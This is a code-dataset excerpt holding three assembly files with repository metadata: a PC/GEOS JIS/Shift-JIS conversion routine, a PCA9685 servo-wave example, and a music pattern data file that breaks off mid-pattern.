hexsha
stringlengths
40
40
size
int64
6
1.05M
ext
stringclasses
3 values
lang
stringclasses
1 value
max_stars_repo_path
stringlengths
4
232
max_stars_repo_name
stringlengths
7
106
max_stars_repo_head_hexsha
stringlengths
40
40
max_stars_repo_licenses
listlengths
1
7
max_stars_count
int64
1
33.5k
max_stars_repo_stars_event_min_datetime
stringlengths
24
24
max_stars_repo_stars_event_max_datetime
stringlengths
24
24
max_issues_repo_path
stringlengths
4
232
max_issues_repo_name
stringlengths
7
106
max_issues_repo_head_hexsha
stringlengths
40
40
max_issues_repo_licenses
listlengths
1
7
max_issues_count
int64
1
37.5k
max_issues_repo_issues_event_min_datetime
stringlengths
24
24
max_issues_repo_issues_event_max_datetime
stringlengths
24
24
max_forks_repo_path
stringlengths
4
232
max_forks_repo_name
stringlengths
7
106
max_forks_repo_head_hexsha
stringlengths
40
40
max_forks_repo_licenses
listlengths
1
7
max_forks_count
int64
1
12.6k
max_forks_repo_forks_event_min_datetime
stringlengths
24
24
max_forks_repo_forks_event_max_datetime
stringlengths
24
24
content
stringlengths
6
1.05M
avg_line_length
float64
1.16
19.7k
max_line_length
int64
2
938k
alphanum_fraction
float64
0
1
ea0190f202452a930dd95d74afa7fc911309ef4b
14,367
asm
Assembly
Driver/IFS/DOS/Common/dosConvertJIS.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
504
2018-11-18T03:35:53.000Z
2022-03-29T01:02:51.000Z
Driver/IFS/DOS/Common/dosConvertJIS.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
96
2018-11-19T21:06:50.000Z
2022-03-06T10:26:48.000Z
Driver/IFS/DOS/Common/dosConvertJIS.asm
steakknife/pcgeos
95edd7fad36df400aba9bab1d56e154fc126044a
[ "Apache-2.0" ]
73
2018-11-19T20:46:53.000Z
2022-03-29T00:59:26.000Z
COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% Copyright (c) GeoWorks 1993 -- All Rights Reserved PROJECT: PC GEOS MODULE: FILE: dosConvertJIS.asm AUTHOR: Gene Anderson, Dec 21, 1993 ROUTINES: Name Description ---- ----------- REVISION HISTORY: Name Date Description ---- ---- ----------- Gene 12/21/93 Initial revision DESCRIPTION: Code for JIS support. $Id: dosConvertJIS.asm,v 1.1 97/04/10 11:55:13 newdeal Exp $ %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ Resident segment resource DosJISToGeosChar proc near call DosJISToGeosCharFar ret DosJISToGeosChar endp GeosToDosJISChar proc near call GeosToDosJISCharFar ret GeosToDosJISChar endp DosJISToGeosCharString proc near call DosJISToGeosCharStringFar ret DosJISToGeosCharString endp GeosToDosJISCharString proc near call GeosToDosJISCharStringFar ret GeosToDosJISCharString endp DosSJISToGeosCharFar proc far call DosSJISToGeosChar ret DosSJISToGeosCharFar endp GeosToDosSJISCharFar proc far call GeosToDosSJISChar ret GeosToDosSJISCharFar endp Resident ends ConvertRare segment resource COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DosJISToGeosCharFar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a JIS character to a GEOS character CALLED BY: DCSConvertToDOSChar() PASS: bx - DosCodePage to use ax - JIS character RETURN: carry - set if error ah - 0 al - DTGSS_SUBSTITUTIONS or al - DTGSS_INVALID_CHARACTER else: ax - GEOS character DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This should deal with JIS characters that are not in SJIS. REVISION HISTORY: Name Date Description ---- ---- ----------- gene 12/21/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DosJISToGeosCharFar proc far .enter ; ; Convert the JIS character to SJIS ; call ConvJISToSJIS jc done ; ; Convert the SJIS character to GEOS ; call DosSJISToGeosCharFar done: .leave ret DosJISToGeosCharFar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GeosToDosJISCharFar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a GEOS character to a JIS character. CALLED BY: DCSConvertToGEOSChar() PASS: bx - DosCodePage to use ax - GEOS character RETURN: carry - set if error ah - 0 al - DTGSS_SUBSTITUTIONS else: ax - JIS character DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: This should deal with JIS characters that are not in SJIS. REVISION HISTORY: Name Date Description ---- ---- ----------- gene 12/21/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GeosToDosJISCharFar proc far .enter ; ; Convert the GEOS character to SJIS ; call GeosToDosSJISCharFar jc done ; ; Convert the SJIS character to JIS ; call ConvSJISToJIS done: .leave ret GeosToDosJISCharFar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConvJISToSJIS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a JIS character to SJIS CALLED BY: DosJISToGeosCharFar() PASS: ax - JIS character RETURN: carry - set if error ah - 0 al - DTGSS_SUBSTITUTIONS al - DTGSS_INVALID_CHARACTER else: ax - SJIS character DESTROYED: none PSEUDO CODE/STRATEGY: c1 = j/256; c2 = j%256; rowOffset = (c1 < 95) ? 112 : 176; cellOffset = (c1 % 2) ? (31 + (c2 > 95)) : 126; r1 = ((c1 + 1) >> 1) + rowOffset; r2 = c2 + cellOffset; return(r1*256 + r2); KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 12/21/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConvJISToSJIS proc near uses dx .enter ; ; Check for SBCS character ; tst ah ;SBCS JIS char? jz done ;branch if SBCS ; ; dh = rowOffset = (c1 < 95) ? 112 : 176; ; mov dh, 112 ;dh <- row offset cmp ah, 95 jb gotRowOffset mov dh, 176 ;dh <- row offset gotRowOffset: ; ; dl = cellOffset = (c1 % 2) ? (31 + (c2 > 95)) : 126; ; mov dl, 126 ;dl <- cell offset test ah, 0x1 jz gotCellOffset ;branch if false mov dl, 31 ;dl <- cell offset cmp al, 95 ;branch if false jbe gotCellOffset inc dl ;dl <- cell offset gotCellOffset: ; ; r1 = ((c1 + 1) >> 1) + rowOffset ; inc ah shr ah, 1 add ah, dh ; ; r2 = c2 + cellOffset; ; add al, dl done: .leave ret ConvJISToSJIS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% ConvSJISToJIS %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a SJIS character to JIS CALLED BY: GeosToDosJISCharFar() PASS: ax - SJIS character RETURN: carry - set if error ah - 0 al - DTGSS_SUBSTITUTIONS al - DTGSS_INVALID_CHARACTER else: ax - JIS character DESTROYED: none PSEUDO CODE/STRATEGY: c1 = j/256; c2 = j%256; adjust = c2 < 159; rowOffset = c1 < 160 ? 112 : 176; cellOffset = adjust ? (31 + (c2 > 127)) : 126; r1 = ((c1 - rowOffset) << 1) - adjust; r2 = c2-cellOffset; return(r1*256+r2); KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 12/21/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ ConvSJISToJIS proc near uses cx, dx .enter ; ; Check for SBCS character ; tst ah ;SBCS SJIS char? jz done ;branch if SBCS clr cx ;cx <- adjust (0) cmp al, 159 jae gotAdjust inc cx ;cx <- adjust (1) gotAdjust: ; ; dh = rowOffset = c1 < 160 ? 112 : 176; ; mov dh, 112 ;dh <- row offset cmp ah, 160 jb gotRowOffset mov dh, 176 ;dh <- row offset gotRowOffset: ; ; dl = cellOffset = adjust ? (31 + (c2 > 127)) : 126; ; mov dl, 126 ;dl <- cell offset jcxz gotCellOffset ;branch if false mov dl, 31 ;dl <- cell offset cmp al, 127 jbe gotCellOffset ;branch if false inc dl ;dl <- cell ofset gotCellOffset: ; ; r1 = ((c1 - rowOffset) << 1) - adjust; ; sub ah, dh shl ah, 1 sub ah, cl ; ; r2 = c2-cellOffset; ; sub al, dl done: .leave ret ConvSJISToJIS endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% DosJISToGeosCharStringFar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a JIS character in a string to a GEOS character CALLED BY: DCSConvertToGEOSChar() PASS: bx - DosCodePage to use ds:si - ptr to JIS string es:di - ptr to GEOS buffer cx - max # of bytes to read RETURN: carry - set if error ah - 0 al - DTGSS_SUBSTITUTIONS ah - # of bytes to back up al - DTGSS_CHARACTER_INCOMPLETE else: ax - GEOS character ds:si - ptr to next character es:di - ptr to next character cx - updated if >1 byte read bx - DosCodePage (may have changed) DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 12/21/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ DosJISToGeosCharStringFar proc far .enter ; ; Get a byte and see if it is the start of an escape sequence ; nextChar: lodsb ;al <- byte of JIS string cmp al, C_ESCAPE ;<Esc>? je handleEsc ; ; See if we are doing SBCS or DBCS ; cmp bx, CODE_PAGE_JIS ;doing SBCS? jne isDBCS ;branch if not ; ; Reading SBCS -- just use the byte ; call doSBCSChar ;ax = GEOS char jc exit ; ; Store the GEOS character ; storeChar: stosw ;store GEOS character exit: .leave ret ; ; Read first byte of a two byte character, or first one or ; two bytes of three byte ESC seq, but rest is not there to read ; partialChar3: mov ah, 3 ;ah <- # bytes to back up jmp partialCharCommon partialChar2: mov ah, 2 ;ah <- # bytes to back up jmp partialCharCommon partialChar1: mov ah, 1 ;ah <- # bytes to back up partialCharCommon: mov al, DTGSS_CHARACTER_INCOMPLETE stc ;carry <- error jmp exit ; ; Reading DBCS -- get another byte ; isDBCS: call readDBCSByte2 jz partialChar1 ;branch if partial character ; ; Convert JIS to GEOS ; call DosJISToGeosCharFar jc exit ;branch if error jmp storeChar ; ; We've hit an <Esc> -- switch modes if necessary. ; handleEsc: call readDBCSByte1 ;al <- byte after ESC jz partialChar1 call readDBCSByte2 ;ax <- both bytes after ESC jz partialChar2 ;branch if partial character cmp bx, CODE_PAGE_JIS ;in SBCS or DBCS? je inSBCS ;branch if in SBCS ; ; We're in DBCS -- check for an escape to SBCS ; cmp ax, JIS_C_0208_1978_KANJI_ESC je doneEscape ;allow redundant escape cmp ax, JIS_X_0208_1983_KANJI_ESC je doneEscape ;allow redundant escape cmp ax, ANSI_X34_1986_ASCII_ESC je switchToSBCS cmp ax, JIS_X_0201_1976_ROMAN_ESC je switchToSBCS ; ; other escape sequence while in double byte JIS mode, ; return error as ESC is illegal JIS first byte ; mov ax, DTGSS_INVALID_CHARACTER or (0 shl 8) stc ;carry <- error jmp exit switchToSBCS: mov bx, CODE_PAGE_JIS ;bx <- new DosCodePage jmp doneEscape ; ; We're in SBCS -- check for an escape to DBCS ; inSBCS: cmp ax, ANSI_X34_1986_ASCII_ESC je doneEscape ;allow redundant escape cmp ax, JIS_X_0201_1976_ROMAN_ESC je doneEscape ;allow redundant escape cmp ax, JIS_C_0208_1978_KANJI_ESC je switchToDBCS cmp ax, JIS_X_0208_1983_KANJI_ESC je switchToDBCS ; ; other escape sequence while in JIS single byte mode ; -- store the three bytes in GEOS format ; ESC = 1st byte ; ah = 2nd byte ; al = 3rd byte ; cx = (number of characters after escape) + 1 ; push dx mov dx, ax ;save 2nd and 3rd bytes mov ax, C_ESCAPE ;first is escape stosw ;store 1st char clr ax mov al, dh ;ax = 2nd byte call doSBCSChar jc doneEscapePop stosw ;store 2nd char clr ax mov al, dl ;ax = 3rd byte call doSBCSChar jc doneEscapePop stosw doneEscapePop: ; ; finish off non-recognized escape sequence ; pop dx dec cx jnz nextChar clc ;indicate success jmp exit doneEscape: ; ; finish off a recognized escape sequence -- return "incomplete" error ; if nothing follows the escape sequence. This is because we ; are expected to return a converted character, and at this ; point we have read nothing but the escape sequence. ; dec cx jz partialChar3 jmp nextChar switchToDBCS: ; ; Switch to DBCS ; mov bx, CODE_PAGE_JIS_DB ;bx <- new DosCodePage jmp doneEscape ; ; al = SBCS char ; doSBCSChar: clr ah ;ax <- ASCII char ; ; Handle half-width katakana (JIS same as SJIS) ; cmp al, SJIS_SB_START_2 jb doSBCSReturn ;not half-width katakana cmp al, SJIS_SB_END_2 ja doSBCSReturn ;not half-width katakana call DosJISToGeosCharFar ;convert half-width katakana retn ;return status in carry flag doSBCSReturn: clc ;indicate success retn readDBCSByte1: dec cx ;cx <- read one more byte jz isPartialChar ;branch if no more bytes lodsb ;al <- 1st byte retn readDBCSByte2: dec cx ;cx <- read one more byte jz isPartialChar ;branch if no more bytes xchg al, ah lodsb ;ax <- JIS character isPartialChar: retn DosJISToGeosCharStringFar endp COMMENT @%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% GeosToDosJISCharStringFar %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%% SYNOPSIS: Convert a GEOS character in a string to a JIS character CALLED BY: DCSConvertToGEOSChar() PASS: bx - DosCodePage to use ds:si - ptr to GEOS string es:di - ptr to JIS buffer cx - max # of chars to read RETURN: carry - set if error ah - 0 al - DTGSS_SUBSTITUTIONS else: ax - JIS character ds:si - ptr to next character es:di - ptr to next character bx - DosCodePage (may have chanaged) DESTROYED: none PSEUDO CODE/STRATEGY: KNOWN BUGS/SIDE EFFECTS/IDEAS: REVISION HISTORY: Name Date Description ---- ---- ----------- gene 12/21/93 Initial version %%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%%@ GeosToDosJISCharStringFar proc far .enter ; ; Get a GEOS character and convert to JIS ; lodsw ;ax <- GEOS character call GeosToDosJISCharFar jc exit ;branch if error ; ; Check for ASCII / SBCS ; tst ah ;SBCS or DBCS? jnz isDBCS ;branch if DBCS ; ; ASCII char -- make sure we're in SBCS mode ; cmp bx, CODE_PAGE_JIS jne switchToSBCS storeSBCSChar: stosb ;store SBCS character done: clc ;carry <- no error exit: .leave ret ; ; Switch to SBCS and emit the proper escape sequence ; switchToSBCS: mov bx, offset escapeToSBCS call writeEsc mov bx, CODE_PAGE_JIS jmp storeSBCSChar ; ; DBCS char -- make sure we're in DBCS mode ; isDBCS: cmp bx, CODE_PAGE_JIS_DB jne switchToDBCS storeDBCSChar: xchg al, ah ;store high-low stosw ;store DBCS character jmp done ; ; Switch to SBCS and emit the proper escape sequence ; switchToDBCS: mov bx, offset escapeToDBCS call writeEsc mov bx, CODE_PAGE_JIS_DB jmp storeDBCSChar ; ; Emit a 3-byte escape sequence ; escapeToSBCS byte 0x1b, 0x28, 0x4a ;<ESC> ( J escapeToDBCS byte 0x1b, 0x24, 0x42 ;<ESC> $ B writeEsc: push ds, si segmov ds, cs mov si, bx movsb movsb movsb CheckHack <(length escapeToSBCS) eq 3> pop ds, si retn GeosToDosJISCharStringFar endp ConvertRare ends
22.274419
79
0.585091
63ee21d64e5fa6ecf6497979baff7650ec2e501e
1,047
asm
Assembly
programs/Servo Wave.asm
TheLogicMaster/lm8
8f75c0c0b269f699fc3ba574b20ceb1ff86a1b61
[ "MIT" ]
10
2021-08-29T10:31:45.000Z
2022-02-26T14:20:54.000Z
programs/Servo Wave.asm
TheLogicMaster/lm8
8f75c0c0b269f699fc3ba574b20ceb1ff86a1b61
[ "MIT" ]
null
null
null
programs/Servo Wave.asm
TheLogicMaster/lm8
8f75c0c0b269f699fc3ba574b20ceb1ff86a1b61
[ "MIT" ]
null
null
null
; Servo Wave --- Example using a PCA9685 I2C PWM expander to control 12 servos in a "wave" motion jmp main include "libraries/PCA9685.asm" main: ldr $40,A str [pwm_expander_addr],A ; Reset expander jsr pwm_expander_reset ; Set prescaler to produce ~60 Hz for servo control ldr #122,A jsr pwm_expander_set_prescaler ; Setup timer 0 for 200 ms delay ldr {milliseconds},B out {timer_unit_0},B ldr #200,B out {timer_count_0},B ; Set initial PWM duty cycle ; Assuming servo accepts 600 to 2400 microsecond pulse length range for full range of motion ; For those pulse lengths, the duty cycle value range is from 9 to 37 at 60 Hz ldr #9,B loop: ; Set servo values on all 12 channels ldr #0,A set_servos: jsr pwm_expander_set_pin ; 200 ms delay out {timer_0},H delay: in {timer_0},H jr delay,Z inc A cmp #12 jr set_servos,nZ ; Flip servo direction ldr #9,A cmp B jr flip_9,Z ldr #9,B jr flip_done flip_9: ldr #37,B flip_done: jmp loop
17.745763
97
0.675263
343c07d36737934a3840f8f4c82f001a4358d625
17,474
asm
Assembly
StartScreen/_sfx/Global/song.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
StartScreen/_sfx/Global/song.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
StartScreen/_sfx/Global/song.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
kp_song kp_reloc dc.w kp_song_registers dc.w kp_speed dc.w kp_grooveboxpos dc.w kp_grooveboxlen dc.w kp_groovebox dc.w kp_patternlen dc.w kp_patternmap_lo dc.w kp_patternmap_hi dc.w kp_insmap_lo dc.w kp_insmap_hi dc.w kp_volmap_lo dc.w kp_volmap_hi dc.w kp_sequence kp_song_registers kp_speed dc.b $02 kp_grooveboxpos dc.b $00 kp_grooveboxlen dc.b $04 kp_groovebox dc.b $04 dc.b $06 dc.b $09 dc.b $05 dc.b $05 dc.b $04 dc.b $06 dc.b $04 kp_patternlen dc.b $1F kp_patternmap_lo dc.b #<patnil dc.b #<pat1 dc.b #<pat2 dc.b #<pat3 dc.b #<pat4 dc.b #<pat5 dc.b #<pat6 dc.b #<pat7 dc.b #<pat8 dc.b #<pat9 dc.b #<pat10 dc.b #<pat11 dc.b #<pat12 dc.b #<pat13 dc.b #<pat14 dc.b #<pat15 dc.b #<pat16 dc.b #<pat17 dc.b #<pat18 kp_patternmap_hi dc.b #>patnil dc.b #>pat1 dc.b #>pat2 dc.b #>pat3 dc.b #>pat4 dc.b #>pat5 dc.b #>pat6 dc.b #>pat7 dc.b #>pat8 dc.b #>pat9 dc.b #>pat10 dc.b #>pat11 dc.b #>pat12 dc.b #>pat13 dc.b #>pat14 dc.b #>pat15 dc.b #>pat16 dc.b #>pat17 dc.b #>pat18 patnil kp_setinstrument 8,0 kp_settrackregister 0,16 kp_rewind $00 pat1 pat1loop kp_settrackregister $03,$0F kp_setinstrument $04,$01 kp_setinstrument $04,$02 kp_setinstrument $02,$03 kp_settrackregister $03,$08 kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_setinstrument $02,$02 kp_setinstrument $04,$01 kp_setinstrument $02,$02 kp_settrackregister $03,$08 kp_setinstrument $02,$01 kp_settrackregister $03,$0F kp_setinstrument $02,$03 kp_settrackregister $03,$08 kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_setinstrument $02,$02 kp_rewind [pat1loop-pat1] pat2 pat2loop kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $06,$04 kp_settrackregister $01,$40 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$20 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $04,$04 kp_settrackregister $01,$08 kp_setinstrument $02,$04 kp_settrackregister $01,$40 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$20 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_rewind [pat2loop-pat2] pat3 pat3loop kp_settrackregister $03,$0F kp_setinstrument $04,$01 kp_setinstrument $04,$02 kp_setinstrument $02,$03 kp_settrackregister $03,$08 kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_setinstrument $02,$02 kp_setinstrument $02,$01 kp_settrackregister $03,$0E kp_setinstrument $02,$06 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_settrackregister $03,$0C kp_setinstrument $02,$02 kp_settrackregister $03,$0F kp_setinstrument $04,$03 kp_setinstrument $04,$06 kp_rewind [pat3loop-pat3] pat4 pat4loop kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $06,$04 kp_settrackregister $01,$40 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$20 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $01,$04 kp_settrackregister $03,$0A kp_settrackregister $00,$01 kp_settrackregister $03,$0C kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $03,$0C kp_setinstrument $01,$04 kp_settrackregister $03,$07 kp_settrackregister $00,$01 kp_settrackregister $03,$0A kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $01,$40 kp_settrackregister $03,$0F kp_setinstrument $04,$05 kp_settrackregister $01,$08 kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $03,$0F kp_settrackregister $00,$02 kp_rewind [pat4loop-pat4] pat5 pat5loop kp_settrackregister $03,$0F kp_setinstrument $04,$01 kp_setinstrument $04,$02 kp_setinstrument $04,$03 kp_setinstrument $02,$02 kp_setinstrument $02,$02 kp_setinstrument $02,$06 kp_settrackregister $03,$0E kp_setinstrument $02,$03 kp_settrackregister $03,$0F kp_setinstrument $02,$02 kp_settrackregister $03,$0C kp_setinstrument $02,$02 kp_settrackregister $03,$0F kp_setinstrument $04,$03 kp_setinstrument $04,$06 kp_rewind [pat5loop-pat5] pat6 pat6loop kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $06,$04 kp_settrackregister $01,$40 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$20 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_settrackregister $01,$10 kp_settrackregister $03,$0F kp_setinstrument $01,$04 kp_settrackregister $03,$0A kp_settrackregister $00,$01 kp_settrackregister $03,$0C kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $03,$0C kp_setinstrument $01,$04 kp_settrackregister $03,$07 kp_settrackregister $00,$01 kp_settrackregister $03,$0A kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $01,$40 kp_settrackregister $03,$0F kp_setinstrument $04,$05 kp_settrackregister $01,$08 kp_setinstrument $04,$04 kp_rewind [pat6loop-pat6] pat7 pat7loop kp_settrackregister $03,$0F kp_settrackregister $00,$04 kp_settrackregister $01,$40 kp_setinstrument $04,$07 kp_settrackregister $01,$70 kp_setinstrument $04,$07 kp_settrackregister $01,$5C kp_setinstrument $04,$08 kp_settrackregister $01,$68 kp_setinstrument $04,$07 kp_settrackregister $01,$54 kp_setinstrument $02,$07 kp_settrackregister $01,$60 kp_setinstrument $04,$07 kp_settrackregister $01,$4C kp_setinstrument $02,$07 kp_settrackregister $01,$5C kp_setinstrument $04,$08 kp_rewind [pat7loop-pat7] pat8 pat8loop kp_settrackregister $00,$04 kp_settrackregister $01,$40 kp_setinstrument $04,$07 kp_settrackregister $01,$68 kp_setinstrument $04,$07 kp_settrackregister $01,$60 kp_setinstrument $04,$08 kp_settrackregister $01,$5C kp_setinstrument $04,$07 kp_settrackregister $01,$54 kp_setinstrument $02,$07 kp_settrackregister $01,$60 kp_setinstrument $04,$07 kp_settrackregister $01,$54 kp_setinstrument $02,$07 kp_settrackregister $01,$44 kp_setinstrument $04,$08 kp_rewind [pat8loop-pat8] pat9 pat9loop kp_settrackregister $03,$0F kp_settrackregister $00,$04 kp_settrackregister $01,$40 kp_setinstrument $04,$07 kp_settrackregister $01,$70 kp_setinstrument $04,$07 kp_settrackregister $01,$5C kp_setinstrument $04,$08 kp_settrackregister $01,$68 kp_setinstrument $04,$07 kp_settrackregister $01,$54 kp_setinstrument $02,$07 kp_settrackregister $01,$60 kp_setinstrument $04,$07 kp_settrackregister $01,$68 kp_setinstrument $02,$07 kp_settrackregister $01,$70 kp_setinstrument $04,$09 kp_rewind [pat9loop-pat9] pat10 pat10loop kp_settrackregister $00,$02 kp_settrackregister $01,$68 kp_settrackregister $03,$08 kp_setinstrument $01,$0A kp_settrackregister $01,$6C kp_settrackregister $03,$0C kp_setinstrument $01,$0A kp_settrackregister $01,$70 kp_settrackregister $03,$0F kp_setinstrument $04,$08 kp_settrackregister $01,$68 kp_setinstrument $04,$07 kp_settrackregister $01,$60 kp_setinstrument $04,$08 kp_settrackregister $01,$5C kp_setinstrument $04,$07 kp_settrackregister $01,$60 kp_setinstrument $02,$07 kp_settrackregister $01,$54 kp_setinstrument $04,$07 kp_settrackregister $01,$5C kp_setinstrument $02,$07 kp_settrackregister $01,$4C kp_setinstrument $04,$09 kp_rewind [pat10loop-pat10] pat11 pat11loop kp_settrackregister $00,$04 kp_settrackregister $01,$54 kp_settrackregister $03,$0F kp_setinstrument $04,$07 kp_settrackregister $01,$7C kp_setinstrument $04,$07 kp_settrackregister $01,$74 kp_setinstrument $04,$08 kp_settrackregister $01,$70 kp_setinstrument $0C,$09 kp_settrackregister $01,$40 kp_settrackregister $03,$0C kp_setinstrument $04,$09 kp_rewind [pat11loop-pat11] pat12 pat12loop kp_settrackregister $01,$24 kp_settrackregister $03,$0F kp_setinstrument $06,$04 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$34 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_settrackregister $01,$24 kp_settrackregister $03,$0F kp_setinstrument $04,$04 kp_setinstrument $02,$04 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$20 kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_rewind [pat12loop-pat12] pat13 pat13loop kp_settrackregister $00,$04 kp_settrackregister $01,$4C kp_settrackregister $03,$0F kp_setinstrument $04,$07 kp_settrackregister $01,$74 kp_setinstrument $04,$07 kp_settrackregister $01,$6C kp_setinstrument $04,$08 kp_settrackregister $01,$68 kp_setinstrument $0C,$09 kp_settrackregister $01,$38 kp_setinstrument $04,$09 kp_rewind [pat13loop-pat13] pat14 pat14loop kp_settrackregister $01,$1C kp_settrackregister $03,$0F kp_setinstrument $06,$04 kp_settrackregister $03,$0A kp_setinstrument $02,$05 kp_settrackregister $03,$0F kp_setinstrument $02,$05 kp_settrackregister $01,$2C kp_settrackregister $03,$0C kp_setinstrument $02,$04 kp_settrackregister $03,$00 kp_settrackregister $00,$04 kp_settrackregister $01,$1C kp_settrackregister $03,$0F kp_setinstrument $01,$04 kp_settrackregister $03,$0A kp_settrackregister $00,$01 kp_settrackregister $03,$0C kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $03,$0C kp_setinstrument $01,$04 kp_settrackregister $03,$07 kp_settrackregister $00,$01 kp_settrackregister $03,$0A kp_setinstrument $01,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$01 kp_settrackregister $03,$0F kp_setinstrument $04,$05 